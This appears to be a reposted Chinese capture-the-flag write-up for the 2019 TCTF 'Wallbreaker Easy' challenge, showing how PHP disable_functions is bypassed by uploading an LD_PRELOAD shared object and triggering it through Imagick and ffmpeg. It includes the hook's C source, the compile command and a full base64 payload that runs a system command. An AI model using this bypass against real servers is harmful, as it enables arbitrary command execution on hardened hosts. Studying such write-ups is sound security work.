2019-TCTF Wallbreaker Easy: LD_PRELOAD绕过disable_function

https://www.yourhome.ren/index.php/sec/612.html

0x01 审题

访问题目地址,得到页面内容如下:
http://111.186.63.208:31340/

2019-TCTF Wallbreaker Easy: LD_PRELOAD绕过disable_function_第1张图片
image.png

题目已经给了一个代码执行功能,通过POST传递backdoor参数可以执行命令,查看phpinfo看到disable_function已经把命令执行函数都给ban了


2019-TCTF Wallbreaker Easy: LD_PRELOAD绕过disable_function_第2张图片
image.png

通过题目提示,可以知道解题思路是要通过PHP的Imagick拓展来绕过,执行/readflag以获取flag
另外,通过查看index.php源码可以看到题目设置了open_basedir,可操作目录范围被限制

2019-TCTF Wallbreaker Easy: LD_PRELOAD绕过disable_function_第3张图片
image.png

参考此篇文章介绍,已经有给出了利用LD_PRELOADmail()来绕过disable_function的利用方法:
https://www.freebuf.com/articles/web/192052.html
但是在这道题,禁用的函数包括了mail(),因此我们需要利用同样的原理,通过putenv()来修改环境变量,调用外部系统命令来执行LD_PRELOADHOOK的函数,以执行任意系统命令
这里需要通过PHP的imagick来达到同样的目的

上面方法中提到

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数

利用这一点,将该拓展修饰符进行修改,编译为共享对象:

#define _GNU_SOURCE
#include 
#include
#include
__attribute__ ((__constructor__)) void preloadme (void)
{
    unsetenv("LD_PRELOAD");
    const char* cmdline = getenv("EVIL_CMDLINE");
    system(cmdline);
}

执行编译命令:

gcc -shared -fPIC hook.c -o hook.so

接下来,需要做的是将该so文件上传到服务器,通过putenv("LD_PRELOAD=")来加载该so文件
加载so文件后尝试在PHP下调用外部程序,以触发so文件中的任意代码执行

在ImageMagick官网查看其支持的格式,发现两个需要ffmpeg支持的格式M2VMPEG

2019-TCTF Wallbreaker Easy: LD_PRELOAD绕过disable_function_第4张图片
image.png

0x02 解题

最终解题思路和操作过程就比较清晰了:

1、将编译的so文件上传到可以支配的目录下
2、通过putenv设置LD_PRELOAD和EVIL_CMDLINE环境变量
3、调用imagick读取MPEG或M2V格式文件以执行外部ffmpeg
4、触发so文件中的系统命令执行

so文件写入利用base64编码解码实现,构造的Payload:

backdoor=$raw=base64_decode("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAwAYAAAAAAABAAAAAAAAAACgUAAAAAAAAAAAAAEAAOAAGAEAAHAAZAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAkAAAAAAAAECQAAAAAAAAAAIAAAAAAAAQAAAAYAAAAICQAAAAAAAAgJIAAAAAAACAkgAAAAAABYAgAAAAAAAGACAAAAAAAAAAAgAAAAAAACAAAABgAAACgJAAAAAAAAKAkgAAAAAAAoCSAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAkAEAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAACECAAAAAAAAIQIAAAAAAAAhAgAAAAAAAAcAAAAAAAAABwAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQBmu54kfzcxZwtc39U0rFMjPldq7wAAAAADAAAADQAAAAEAAAAGAAAAiMIgAQAUQAkNAAAADwAAABEAAABCRdXsu+OSfNhxWBy5jfEO6tPvDm0Sh8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMACQA4BgAAAAAAAAAAAAAAAAAAfQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAHAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAiwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAnQAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAngAAABEAAAAAAAAAAAAA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AAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==");file_put_contents("/tmp/17c2a43594825e72a3fdbf0a9283220d/bypass.so",$raw);putenv("EVIL_CMDLINE=bash -c /readflag > /tmp/17c2a43594825e72a3fdbf0a9283220d/output");putenv("LD_PRELOAD=/tmp/17c2a43594825e72a3fdbf0a9283220d/bypass.so");file_put_contents("/tmp/17c2a43594825e72a3fdbf0a9283220d/yunsle.mpeg", "mpeg");$thumb = new Imagick("/tmp/17c2a43594825e72a3fdbf0a9283220d/yunsle.mpeg");

最终读取output拿到flag:


2019-TCTF Wallbreaker Easy: LD_PRELOAD绕过disable_function_第5张图片
image.png

你可能感兴趣的:(2019-TCTF Wallbreaker Easy: LD_PRELOAD绕过disable_function)